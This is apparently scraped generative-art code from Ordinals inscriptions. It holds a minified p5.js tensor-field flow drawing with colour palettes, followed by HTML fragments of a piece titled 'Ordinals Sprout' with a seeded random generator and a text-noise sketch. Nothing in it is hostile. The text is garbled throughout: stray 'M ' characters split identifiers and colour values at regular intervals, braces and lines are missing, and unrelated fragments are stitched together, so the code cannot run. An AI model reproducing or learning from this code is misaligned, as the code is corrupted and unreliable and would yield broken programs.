f","#51d7e5","#e6c7b4"],["#71f2ff","#81fcca","#f91cb0","#0239c1","#8450d6","#05bdc6","#f7f1b4"],["#43bbef","#53f9e4","#bf2640","#5082ff","#8648ff","#36ffcf","#881ed3"],["#6bcced","#fce586","#f93ebb","#52a1ff","#8e51a8","#05bdc6","#ff0895"],["#a745ed","#fcbbbb","#f20a41","#ffd252","#0606bf","#ff459e","#881ed3"],["#7b19d1","#a7d0f9","#ba0f40","#fcd5bb","#4545ce","#9666ff","#ff0895"],["#31a4dd","#6f3bff","#f20a41","#4470a5","#7171f4","#e710f9","#2e92ff"],["#ffffab","#8e7de2","#ba0f40","#9312b2","#85b5f9","#830591","#0M 34a7f"],["#06a0ba","#6f3bff","#f20a41","#8777f7","#4848c1","#6b11f7","#e6c7b4"],["#2bc5cc","#8e7de2","#ba0f40","#6155bf","#4b4bf7","#a318b7","#f7f1b4"],["#06a0ba","#6f3bff","#8473ff","#fce875","#4848c1","#ffb3c9","#2e92ff"],["#2bc5cc","#8e7de2","#9e61ba","#ffd2c7","#0f0fce","#f7e579","#034a7f"],["#c10839","#6f3bff","#ff06a6","#f2a5bb","#4848c1","#117ff7","#579ef2"],["#a20dd3","#8e7de2","#aa08ff","#f2ec79","#0f0fce","#a60abc","#1b64ce"],["#06a0ba","#6f3bff","#fca660","#f7f377","#9149bf","#f71165","#31f0ff"],["#2bc5cM c","#8e7de2","#dd582a","#ffe09c","#630ca8","#a8275c","#04717c"],["#e041b3","#3e71ff","#ffec64","#77c1f7","#9149bf","#f71165","#e6c7b4"],["#f95089","#8e7de2","#f99175","#1d6bdd","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#0636cc","#8989ef","#e6c7b4","#8005e0","#fc68a4","#3386ff"],["#fc889e","#3b72a3","#2d5cc4","#f7f1b4","#f938cb","#d61a1a","#04717c"],["#f4d334","#3ef6ff","#5347f4","#b877f7","#9149bf","#f71165","#e6c7b4"],["#fc889e","#1fb2b2","#2d5cc4","#6e1ed6","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#3ef6ff","#5M 347f4","#f7f777","#9149bf","#ef5090","#e6c7b4"],["#fc889e","#1fb2b2","#2d5cc4","#ffce88","#630ca8","#ba0457","#f7f1b4"],["#f4d334","#3ef6ff","#5347f4","#77c4f7","#9149bf","#f71165","#854fba"],["#fc889e","#1fb2b2","#2d5cc4","#2187bf","#630ca8","#a8275c","#e783ea"],["#f4d334","#3ef6ff","#f97575","#f4dc78","#9149bf","#f71165","#e6c7b4"],["#fc889e","#1fb2b2","#cc2929","#f28b79","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#3ef6ff","#f97575","#f279ab","#9149bf","#645eea","#e6c7b4"],["#fc889e","#52adff","#cc2929","#e81073"M ,"#630ca8","#3a3acc","#f7f1b4"],["#3ac9d8","#6f3bff","#44acf2","#fce875","#bf23f9","#ffb3c9","#2e92ff"],["#44acf2","#8e7de2","#6cffff","#ffd2c7","#9449ce","#f7e579","#034a7f"],["#06a0ba","#6f3bff","#fc4c7e","#f9b175","#6c6ce5","#8f58f9","#e6c7b4"],["#2bc5cc","#8e7de2","#cf4ef9","#f7df77","#4949c1","#a915ff","#f7f1b4"],["#ef01c4","#065ca8","#1c00ba","#ffee94","#c053ba","#8f58f9","#4ea8f9"],["#a60160","#30bec3","#5e52db","#ffebae","#da55f2","#a915ff","#4febf7"],["#f44260","#3c5ba0","#845ecc","#f4b53f","#3d9fc1","#9c2M 23d","#e6c7b4"],["#f43b79","#4058ad","#6c3ca5","#ef9029","#317ec4","#69239b","#f7f1b4"],["#f44260","#3c5ba0","#7070e8","#f27740","#3d9fc1","#d34040","#e6c7b4"],["#f43b79","#4058ad","#4d4dc1","#ef9029","#317ec4","#ed5487","#f7f1b4"],["#f244ee","#5c75c6","#7070e8","#3cd3b6","#3d9fc1","#d34040","#e6c7b4"],["#f43b79","#637cc1","#4d4dc1","#1cb7b7","#317ec4","#ed5487","#f7f1b4"],["#e5491f","#2058d3","#7462f9","#40f2d0","#123676","#9c223d","#e6c7b4"],["#ef973f","#177199","#6b43dd","#15abba","#4aa4ae","#69239b","#f7f1b4"],M ["#e22079","#2058d3","#7462f9","#40f2d0","#5a92e5","#9c223d","#e6c7b4"],["#f21c59","#177199","#6b43dd","#15abba","#4658f9","#69239b","#f7f1b4"],["#e22079","#2058d3","#e6c7b4","#40f2d0","#5a92e5","#ba4564","#edf28b"],["#f21c59","#177199","#f7f1b4","#15abba","#4658f9","#e5336a","#43f7c8"],["#e22079","#4b80e0","#e6c7b4","#41a9ef","#5a92e5","#bc0d8b","#f7adf7"],["#f21c59","#197abc","#f7f1b4","#36a9cc","#4658f9","#d3057f","#43f7c8"],["#e22079","#4b80e0","#e6c7b4","#435ced","#e2b55a","#ea397d","#f4e2ae"],["#f21c59","#197M abc","#f7f1b4","#7f63f7","#f98562","#e84b3a","#e9f49f"],["#0850b7","#6771f9","#8213bc","#75f9e0","#4848c1","#ffb3c9","#2e92ff"],["#3081e2","#5285dd","#9604af","#15abba","#0f0fce","#f7e579","#034a7f"],["#d80e3e","#6771f9","#8213bc","#f7ad77","#4848c1","#ffb3c9","#31b5ff"],["#ef4878","#5285dd","#9604af","#f4cb78","#0f0fce","#f7e579","#2a76d1"],["#f98246","#69acf7","#8213bc","#f7ad77","#4848c1","#ffb3c9","#31b5ff"],["#ed7d4a","#5285dd","#b529d3","#f4cb78","#0f0fce","#f7e579","#2a76d1"],["#f7cd48","#69d6f4","#8213bc","M #f7ad77","#7649bf","#ffb3c9","#e6c7b4"],["#f49090","#21b5d8","#b529d3","#f4cb78","#5829b2","#f7e579","#f7f1b4"],["#4a82f4","#f22a51","#8213bc","#f7ad77","#905df4","#ffb3c9","#0c85ba"],["#4cb2f2","#b72c4e","#b529d3","#f4cb78","#542ad3","#f7e579","#096889"],["#4a82f4","#f22a51","#1522ba","#f7ad77","#d32fc0","#b6fffa","#0c85ba"],["#4cb2f2","#b72c4e","#483d9b","#f4cb78","#e50a6e","#f1ffb8","#096889"],["#4a82f4","#f22a51","#4b23db","#f7ad77","#d1304b","#5b99f4","#1dbcb4"],["#4cb2f2","#b72c4e","#694eea","#f4cb78","#d6166M 0","#5cd3f2","#096889"],["#ad4cf2","#f22a51","#8213bc","#f478b0","#5ff2f2","#ffb3c9","#0c85ba"],["#8b05e2","#b72c4e","#b529d3","#f4cb78","#3ea6b7","#f7e579","#096889"],["#584def","#f22a51","#a52cdd","#f2c679","#60caef","#d2b6ff","#0d53b7"],["#4f24c6","#b72c4e","#b529d3","#efaa7b","#3ea6b7","#f7e579","#458bdd"],["#584def","#ef592b","#2cdbc1","#f2c679","#6290ed","#b8fff1","#0d53b7"],["#4f24c6","#f27949","#2ec0d8","#efaa7b","#4067b5","#f7e579","#458bdd"],["#584def","#ed2e8a","#2eacd8","#f2c679","#6290ed","#6929ce","#0M d53b7"],["#4f24c6","#c11670","#3070d6","#efaa7b","#4067b5","#4a4add","#458bdd"],["#584def","#ed2e8a","#2eacd8","#ef9c7b","#6290ed","#6929ce","#0d53b7"],["#4f24c6","#c11670","#3070d6","#fc583d","#4067b5","#4a4add","#458bdd"],["#b7b7b7","#0a0a0a","#ffffff","#dbdcdd","#b2b2b2","#a7a7a8","#4e4f4f"],["#d8d8d8","#636363","#dbdcdd","#b2b2b2","#4e4f4f","#e0e1e2","#3f3f3f"],["#5475f1","#ce7ca5","#b0f2da","#edded1","#80d3d8","#9fa1a6","#eafefe"],["#3155c4","#7534ad","#4597ad","#b7183b","#4058cc","#9e2a6f","#1eafab"],];functiM on centerCanvas(){var e=(windowWidth-width)/2,f=(windowHeight-height)/2;cnv.position(e,f)}function setup(){wdt=windowWidth<windowHeight?windowWidth:windowHeight;let e=int(map(mathRand(),0,1,0,3)),f;0===e?(h=.7*(w=wdt),f="7:5"):1===e?(w=.7*(h=wdt),f="5:7"):2===e&&(w=wdt,h=wdt,f="1:1"),cnv=createCanvas(w,h),centerCanvas();pixelDensity(displayDensity()),smooth(),strokeWeight(strk=constrain((wdt/800).toFixed(1),.5,1));let l=int(1990*mathRand());noiseSeed(l),randomSeed(l),noiseDetail(2,1),strokeCap(ROUND),cols=floor(widM th/(scl=wdt/135))+1,rows=floor(height/scl)+1,xx=floor(width/dsep),yy=floor(height/dsep),eigenvector_maj=Array(cols*rows),flowcolorfield=Array(cols*rows),eigenvector_min=Array(cols*rows),colAlg=int(random(2)),paletteIndex=int(map(random(1),0,1,0,palette1.length));let i=chroma.scale(palette1[paletteIndex]).colors(cols*rows);inc=random(.013,.036),t=range(0,10,dt);for(var c=0;c<1;c++){let s=random(width),a=random(height),_=random(width),$=random(height);integral_lines[c]=new Integral_line(s,a,"major"),integral_lines[c+M 1]=new Integral_line(_,$,"minor")}center=createVector(width/2,height/2),background(10);for(var o=0,n=0;n<rows;n++){for(var r=0,d=0;d<cols;d++){var b,p,u,x,y,g=d+n*cols,P=noise(r,o,zoff)*TAU;if(0===colAlg)b=355*noise(r/2+140,o/2+140,zoff/10),p=325*noise(r/2+40,o/2+40,zoff/10),u=355*noise(r/2+210,o/2+210,zoff/10),x=map(noise(r/2+250,o/2+250,zoff/10),0,1,165,255);else if(1===colAlg){var m=int(map(noise(r,o,zoff),0,1,0,i.length));b=chroma(i[m]).get("rgb.r"),p=chroma(i[m]).get("rgb.g"),u=chroma(i[m]).get("rgb.b"),x=map(M noise(r/2+250,o/2+250,zoff/10),0,1,165,255)}var v=createVector(0,0);v.normalize();var j=map(d,0,cols,-width/2,width/2),B=map(n,0,rows,-height/2,height/2),k=createVector(j,B);k.normalize();let z=sqrt(pow((y=p5.Vector.fromAngle(PI/4)).x,2)+pow(y.y,2)),I=atan(y.y/y.x),A=exp(-1*pow(k.mag()-v.mag(),2))*z,C=math.matrix([[cos(2*I),sin(2*I)],[sin(2*I),-cos(2*I)]]),R=math.multiply(C,A);var K=createVector(math.eigs(R).vectors._data[0][0],math.eigs(R).vectors._data[0][1]),V=createVector(math.eigs(R).vectors._data[1][0],math.eM igs(R).vectors._data[1][1]);K.mult(math.eigs(R).values._data[0]),V.mult(math.eigs(R).values._data[1]);let F=cos(2*I)*cos(2*I)-sin(2*I)*sin(2*I),T=[[cos(P),-sin(P)],[sin(P),cos(P)]];K.setMag(F),V.setMag(F);let M=math.multiply(T,[K.x,K.y]),G=math.multiply(T,[V.x,V.y]);eigenvector_maj[g]=createVector(M[0],M[1]),eigenvector_min[g]=createVector(G[0],G[1]),flowcolorfield[g]=[b,p,u,x],r+=inc}o+=inc,zoff+=3e-4}for(var n=0;n<yy;n+=1)for(var d=0;d<xx;d+=1){var g=d+n*xx;cells[g]=new Cell(d,n)}for(var c=0;c<30;c++){let S=newPaM rticle3("major");null!==S&&integral_lines.push(S);let q=newParticle3("minor");null!==q&&integral_lines.push(q)}let D=cols*rows,E=0===colAlg?"Algorithm":"Palette";window.$generativeTraits={Type:"Flow Field",Vectors:D,Colors:E,Format:f}}function draw(){background(10),translate(center.x,center.y);for(var e=0;e<integral_lines.length;e++)integral_lines[e].follow(eigenvector_maj,eigenvector_min),integral_lines[e].edges(),integral_lines[e].changeCol(flowcolorfield),integral_lines[e].display(flowcolorfield);let f=cells.filM ter(e=>!0===e.spot||!0===e.spot2).length;if(f<.9*cells.length){let l=newParticle4("major",0);null!==l&&integral_lines.push(l);let i=newParticle4("major",1);null!==i&&integral_lines.push(i);let c=newParticle4("minor",0);null!==c&&integral_lines.push(c);let s=newParticle4("minor",1);null!==s&&integral_lines.push(s);let a=newParticle3("major");null!==a&&integral_lines.push(a);let _=newParticle3("minor");null!==_&&integral_lines.push(_)}else if(f>=.9*cells.length&&f<cells.length-cells.length/180){let $=newParticle3("maM jor");null!==$&&integral_lines.push($);let o=newParticle3("minor");null!==o&&integral_lines.push(o);let n=newParticle5("major");null!==n&&integral_lines.push(n);let r=newParticle5("minor");null!==r&&integral_lines.push(r);let d=newParticle6("major");null!==d&&integral_lines.push(d);let b=newParticle6("minor");null!==b&&integral_lines.push(b);let p=newParticle51("major");null!==p&&integral_lines.push(p);let u=newParticle51("minor");null!==u&&integral_lines.push(u);let x=newParticle52("major");null!==x&&integral_lineM s.push(x);let y=newParticle52("minor");null!==y&&integral_lines.push(y)}else noLoop();noFill(),stroke(220),strokeWeight(10),rect(-width/2,-height/2,width,height)}class Tensor{constructor(e,f,l,i,c){this.matrix=e,this.majVector=f,this.minVector=l,this.majValue=i,this.minValue=c}}class Cell{constructor(e,f){this.i=e,this.j=f,this.spot=null,this.spot2=null,this.index,this.pos=[]}drawGrid(){noFill(),stroke(255),this.spot&&fill(255,0,0);let e=createVector(this.i,this.j);rect(e.x*dsep,e.y*dsep,dsep,dsep)}}function IntegrM al_line(e,f,l){this.iniPos=createVector(map(e,0,width,-width/2,width/2),map(f,0,height,-height/2,height/2)),this.iniPos2=this.iniPos.copy(),this.iniPos3=this.iniPos.copy(),this.iniPos4=this.iniPos2.copy(),this.fBool=!0,this.fBool2=!0,this.fBool3=!0,this.fBool4=!0,this.obj=l,this.maj1=[],this.min=[],this.maj2=[],this.min2=[],this.col=int(random(4)),this.changeCol=function(e){switch(this.col){case 0:var f=this.iniPos.x,l=this.iniPos.y,i=interpolate_coord(f,l,scl,cols),c=e[i];c&&stroke(color(c[0],c[1],c[2],c[3]));breaM k;case 1:var f=this.iniPos2.x,l=this.iniPos2.y,i=interpolate_coord(f,l,scl,cols),c=e[i];c&&stroke(color(c[0],c[1],c[2],c[3]));break;case 2:var f=this.iniPos3.x,l=this.iniPos3.y,i=interpolate_coord(f,l,scl,cols),c=e[i];c&&stroke(color(c[0],c[1],c[2],c[3]));break;case 3:var f=this.iniPos4.x,l=this.iniPos4.y,i=interpolate_coord(f,l,scl,cols),c=e[i];c&&stroke(color(c[0],c[1],c[2],c[3]))}},this.follow=function(e,f){if("major"===this.obj){if(this.fBool)for(let l=1;l<t.length;l++){var i=interpolate_coord(this.iniPos.x,thiM s.iniPos.y,scl,cols);if(e[i]){let c=RK4step(f4,[this.iniPos.x,this.iniPos.y,e[i].x,e[i].y],t[l]-t[l-1]);this.maj1.push([c[0],c[1]]),this.iniPos=createVector(c[0],c[1]);var s=interpolate_coord(c[0],c[1],dsep,xx);if(cells[s]&&(cells[s].pos.push(createVector(c[0],c[1])),cells[s].spot=!0,cells[s].spot2)){this.fBool=cells[s].pos.every(e=>dist(e.x,e.y,c[0],c[1])>0);break}}}if(this.fBool3)for(let a=1;a<t.length;a++){var _=interpolate_coord(this.iniPos3.x,this.iniPos3.y,scl,cols);if(e[_]){let $=RK4step(f4,[this.iniPos3.x,tM his.iniPos3.y,-1*e[_].x,-1*e[_].y],t[a]-t[a-1]);this.maj2.push([$[0],$[1]]),this.iniPos3=createVector($[0],$[1]);var s=interpolate_coord($[0],$[1],dsep,xx);if(cells[s]&&(cells[s].pos.push(createVector($[0],$[1])),cells[s].spot=!0,cells[s].spot2)){this.fBool3=cells[s].pos.every(e=>dist(e.x,e.y,$[0],$[1])>0);break}}}}if("minor"===this.obj){if(this.fBool2)for(let o=1;o<t.length;o++){var n=interpolate_coord(this.iniPos2.x,this.iniPos2.y,scl,cols);if(f[n]){let r=RK4step(f4,[this.iniPos2.x,this.iniPos2.y,f[n].x,f[n].y],tM [o]-t[o-1]);this.min.push([r[0],r[1]]),this.iniPos2=createVector(r[0],r[1]);var s=interpolate_coord(r[0],r[1],dsep,xx);if(cells[s]&&(cells[s].pos.push(createVector(r[0],r[1])),cells[s].spot2=!0,cells[s].spot)){this.fBool2=cells[s].pos.every(e=>dist(e.x,e.y,r[0],r[1])>0);break}}}if(this.fBool4)for(let d=1;d<t.length;d++){var b=interpolate_coord(this.iniPos4.x,this.iniPos4.y,scl,cols);if(f[b]){let p=RK4step(f4,[this.iniPos4.x,this.iniPos4.y,-1*f[b].x,-1*f[b].y],t[d]-t[d-1]);this.min2.push([p[0],p[1]]),this.iniPos4=crM eateVector(p[0],p[1]);var s=interpolate_coord(p[0],p[1],dsep,xx);if(cells[s]&&(cells[s].pos.push(createVector(p[0],p[1])),cells[s].spot2=!0,cells[s].spot)){this.fBool4=cells[s].pos.every(e=>dist(e.x,e.y,p[0],p[1])>0);break}}}}},this.display=function(e){noFill(),strokeWeight(strk),beginShape();let f=this.maj1;for(let l=0;l<f.length;l++)vertex(f[l][0],f[l][1]);endShape(),beginShape();let i=this.min;for(let c=0;c<i.length;c++)vertex(i[c][0],i[c][1]);endShape(),beginShape();let s=this.maj2;for(let a=0;a<s.length;a++)veM rtex(s[a][0],s[a][1]);endShape(),beginShape();let _=this.min2;for(let $=0;$<_.length;$++)vertex(_[$][0],_[$][1]);endShape()},this.edges=function(){(this.iniPos.x>width/2||this.iniPos.x<-width/2||this.iniPos.y>height/2||this.iniPos.y<-height/2)&&(this.fBool=!1),(this.iniPos2.x>width/2||this.iniPos2.x<-width/2||this.iniPos2.y>height/2||this.iniPos2.y<-height/2)&&(this.fBool2=!1),(this.iniPos3.x>width/2||this.iniPos3.x<-width/2||this.iniPos3.y>height/2||this.iniPos3.y<-height/2)&&(this.fBool3=!1),(this.iniPos4.x>widthM /2||this.iniPos4.x<-width/2||this.iniPos4.y>height/2||this.iniPos4.y<-height/2)&&(this.fBool4=!1)},this.other=function(e){let f=this.iniPos.x,l=this.iniPos.y;var i=interpolate_coord(f,l,dsep,xx);e[i]&&e[i].pos&&e[i].spot2&&(this.fBool=e[i].pos.every(e=>dist(e.x,e.y,f,l)>0));let c=this.iniPos2.x,s=this.iniPos2.y;var a=interpolate_coord(c,s,dsep,xx);e[a]&&e[a].pos&&e[a].spot&&(this.fBool2=e[a].pos.every(e=>dist(e.x,e.y,c,s)>0));let _=this.iniPos3.x,$=this.iniPos3.y;var o=interpolate_coord(_,$,dsep,xx);e[o]&&e[o].pos&M &e[o].spot2&&(this.fBool3=e[o].pos.every(e=>dist(e.x,e.y,_,$)>0));let n=this.iniPos4.x,r=this.iniPos4.y;var d=interpolate_coord(n,r,dsep,xx);e[d]&&e[d].pos&&e[d].spot&&(this.fBool4=e[d].pos.every(e=>dist(e.x,e.y,n,r)>0))}}function newParticle3(e){let f=!1,l,i,c,s;for(;!f;){l=random(width),i=random(height),c=map(l,0,width,-width/2,width/2),s=map(i,0,height,-height/2,height/2);let a=floor(l/dsep)+1,_=floor(i/dsep)+1;if(a>0&&_>0&&a<xx-1&&_<yy-1){let $=[[a,_],[a-1,_-1],[a,_-1],[a+1,_-1],[a-1,_],[a+1,_],[a-1,_+1],[a,_+1M ],[a+1,_+1]],o=[];for(let n of $){let r=n[0]+n[1]*xx;o.push(...cells[r].pos)}f=o.every(function(e){return dist(e.x,e.y,c,s)>dsep-1})}}return f?new Integral_line(l,i,e):null}function newParticle4(e,f){let l=!1,i,c,s,a;for(;!l;){let _=[];for(let $ in integral_lines)integral_lines.length,"major"===e?0===f?_.push(...integral_lines[$].maj1):1===f&&_.push(...integral_lines[$].maj2):"minor"===e&&(0===f?_.push(...integral_lines[$].min):1===f&&_.push(...integral_lines[$].min2));let o=int(random(_.length-1)),n=_[o];_.findIndM ex(e=>e[0]===n[0]&&e[1]===n[1]);let r=_.find((e,f)=>f===o+1);if(r){let d=r[0]-n[0],b=r[1]-n[1],p=sqrt(d*d+b*b),u=d/p,x=-(b/p),y=u;i=n[0]+x*dsep,c=n[1]+y*dsep,s=map(i,-width/2,width/2,0,width),a=map(c,-height/2,height/2,0,height);let g=floor(s/dsep),P=floor(a/dsep);if(g>0&&P>0&&g<xx-1&&P<yy-1){let m=[[g,P],[g-1,P-1],[g,P-1],[g+1,P-1],[g-1,P],[g+1,P],[g-1,P+1],[g,P+1],[g+1,P+1]],v=[];for(let j of m){let B=j[0]+j[1]*xx;v.push(...cells[B].pos)}l=v.every(function(e){return dist(e.x,e.y,i,c)>dsep-1})}}if(5>=frameRate())bM reak}return l?new Integral_line(s,a,e):null}function newParticle5(e){let f=!1,l=0,i=0,c,s;nested_break:for(let a=0;a<floor(xx/2);a++)for(let _=0;_<floor(yy/2);_++){var $=a+_*xx;if(cells[$]&&(!cells[$].spot||!cells[$].spot2)){if(l=map(a,0,xx,0,width)+random(-.5,.5),i=map(_,0,yy,0,height)+random(-.5,.5),c=map(l,0,width,-width/2,width/2),s=map(i,0,height,-height/2,height/2),a>0&&_>0&&a<xx-1&&_<yy-1){let o=[[a,_],[a-1,_-1],[a,_-1],[a+1,_-1],[a-1,_],[a+1,_],[a-1,_+1],[a,_+1],[a+1,_+1]],n=[];for(let r of o){let d=r[0]+r[M 1]*xx;n.push(...cells[d].pos)}f=n.every(function(e){return dist(e.x,e.y,c,s)>dsep-1})}if(f)break nested_break}}return f?new Integral_line(l,i,e):null}function newParticle6(e){let f=!1,l=0,i=0,c,s;nested_break:for(let a=xx-1;a>=floor(xx/2);a--)for(let _=yy-1;_>=floor(yy/2);_--){var $=a+_*xx;if(cells[$]&&(!cells[$].spot||!cells[$].spot2)){if(l=map(a,0,xx,0,width)+random(-.5,.5),i=map(_,0,yy,0,height)+random(-.5,.5),c=map(l,0,width,-width/2,width/2),s=map(i,0,height,-height/2,height/2),a>0&&_>0&&a<xx-1&&_<yy-1){let o=M [[a,_],[a-1,_-1],[a,_-1],[a+1,_-1],[a-1,_],[a+1,_],[a-1,_+1],[a,_+1],[a+1,_+1]],n=[];for(let r of o){let d=r[0]+r[1]*xx;n.push(...cells[d].pos)}f=n.every(function(e){return dist(e.x,e.y,c,s)>dsep-1})}if(f)break nested_break}}return f?new Integral_line(l,i,e):null}function newParticle51(e){let f=!1,l=0,i=0,c,s;nested_break:for(let a=0;a<floor(xx/2);a++)for(let _=floor(yy/2);_<yy;_++){var $=a+_*xx;if(cells[$]&&(!cells[$].spot||!cells[$].spot2)){if(l=map(a,0,xx,0,width)+random(-.5,.5),i=map(_,0,yy,0,height)+random(-.5M ,.5),c=map(l,0,width,-width/2,width/2),s=map(i,0,height,-height/2,height/2),a>0&&_>0&&a<xx-1&&_<yy-1){let o=[[a,_],[a-1,_-1],[a,_-1],[a+1,_-1],[a-1,_],[a+1,_],[a-1,_+1],[a,_+1],[a+1,_+1]],n=[];for(let r of o){let d=r[0]+r[1]*xx;n.push(...cells[d].pos)}f=n.every(function(e){return dist(e.x,e.y,c,s)>dsep-1})}if(f)break nested_break}}return f?new Integral_line(l,i,e):null}function newParticle52(e){let f=!1,l=0,i=0,c,s;nested_break:for(let a=xx-1;a>=floor(xx/2);a--)for(let _=floor(yy/2);_>=0;_--){var $=a+_*xx;if(cells[M $]&&(!cells[$].spot||!cells[$].spot2)){if(l=map(a,0,xx,0,width)+random(-.5,.5),i=map(_,0,yy,0,height)+random(-.5,.5),c=map(l,0,width,-width/2,width/2),s=map(i,0,height,-height/2,height/2),a>0&&_>0&&a<xx-1&&_<yy-1){let o=[[a,_],[a-1,_-1],[a,_-1],[a+1,_-1],[a-1,_],[a+1,_],[a-1,_+1],[a,_+1],[a+1,_+1]],n=[];for(let r of o){let d=r[0]+r[1]*xx;n.push(...cells[d].pos)}f=n.every(function(e){return dist(e.x,e.y,c,s)>dsep-1})}if(f)break nested_break}}return f?new Integral_line(l,i,e):null}function RK4step(e,f,l){let i=math.mM ultiply(e(f),l),c=math.multiply(e(math.add(f,math.multiply(.5,i))),l),s=math.multiply(e(math.add(f,math.multiply(.5,c))),l),a=math.multiply(e(math.add(f,s)),l);return math.add(f,math.divide(math.add(math.add(math.add(i,math.multiply(2,c)),math.multiply(2,s)),a),6))}function RK4integrate(e,f,l){let i=math.zeros(l.length,f.length);i._data[0]=f;for(let c=1;c<l.length;c++)i._data[c]=RK4step(e,i._data[c-1],l[c]-l[c-1]);return i._data}let f4=function(e){e[0],e[1];let f=e[2],l=e[3];return[f,l,-l,f]};function interpolate_cM oord(e,f,l,i){let c=floor(map(e,-width/2,width/2,0,width)/l),s=floor(map(f,-height/2,height/2,0,height)/l);return c+s*i}function makeArr(e,f,l){for(var i=[],c=(f-e)/(l-1),s=0;s<l;s++)i.push(e+c*s);return i}const range=(e,f,l)=>Array.from({length:(f-e)/l+1},(f,i)=>e+i*l);function windowResized(){centerCanvas()}function keyTyped(){return"p"===key&&saveCanvas("diffusion","jpg"),!1}function touchStarted(){return 3===touches.length&&saveCanvas("diffusion","jpg"),!1} <script id="snippet-random-code" tM ype="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.lengM if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ MathM .imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u <M < 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); background-color: #fefefe; margin: 0px; overflow: hidden; width: 100%; height: 100%; <script type="text/javascript"> text/html;charset=utf-8 <meta charset="UTF-8"> <title>Ordinals Sprout</title> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdeM fghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 271604M 4179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); display: flex; position: fixed; right: 0; bottom: 0; color: #fff; background-color: #000; justify-content: center; align-items: center; margin: 0; padding: 0; font-size: .8em #fullScreen canvas, object-fit: contain; max-height: 100%; max-width: 100% #fullScreen { justify-content: center; align-items: center <script type="text/javascript"> const rand = mathRand(); //////////////// FEATURES let myTitle = "ORDINALS SPROUT"; console.log(myTitle + " | SMLDMS 2023.02") let globalSize = 1000; let myString = "ORDINALS" let textAlpha = 160; let strokeAlpha = 127; let strokeColor = 0; let strokeSize = 1; let fontSize; let fontSampleFactor = mathRandBetween(0.15, 0.33); //How many points there are: the higher the number, the closer together they are (more detail) let simplifyFactor = 0.0; // 0 is normal let noiseZoom = mathRandBetween(0.033, 0.01) //how zoomed in the perlin noise is (0.05 to 0.01) let noiseOctaves = mathRandBetween(1, M 50); //The number of octaves for the noise let noiseFalloff = mathRandBetween(0.4, 0.6); //The falloff for the noise layers let zOffsetChange = 0.1; //How much the noise field changes in the z direction each frame let individualZOffset = 0.01; //how far away the points/lines are from each other in the z noise axies (the bigger the number, the more chaotic) let speedFactor = mathRandBetween(10, 100); let lineSpeed = speedFactor; //the maximum amount each point can move M let points = []; let startingPoints; let maxFrame = 100; function preload() { font = loadFont("https://gateway.pinata.cloud/ipfs/QmYhhjHt9J8N1CXQnHdNRAt7c1BmzyUsdw8s1stfeDJrP5"); function setup() { randomSeed(seed); noiseSeed(seed); cnv = createCanvas(globalSize * 1.77, globalSize); cnv.parent('fullScreen'); rectMode(CENTER) angleMode(DEGREES) pixelDensity(2) fontSize = width * 0.1618 textFont(font); textSize(fontSize); textAlign(CENTER, BASELINE) noFill() stroke(strokeColor); strokeWeight(strokeSize) background(0) for (let i = 0; i < 25; i++) { push() fill(255) noStroke() rect(mathRand() * width, mathRand() * height, mathRandBetweenM pop() fill(255) noStroke() rect(width / 2, height / 2, width, height * 0.45) for (let i = 0; i < 50; i++) { push() fill(0) noStroke() rect(mathRand() * width, mathRand() * height, mathRandBetween(5, 150)) pop() grainy(15) noiseDetail(noiseOctaves, noiseFalloffM translate(0, 50) makeTxt(myString, width / 2, height * 0.55); grainy(5) function makeTxt(string, x, y) { 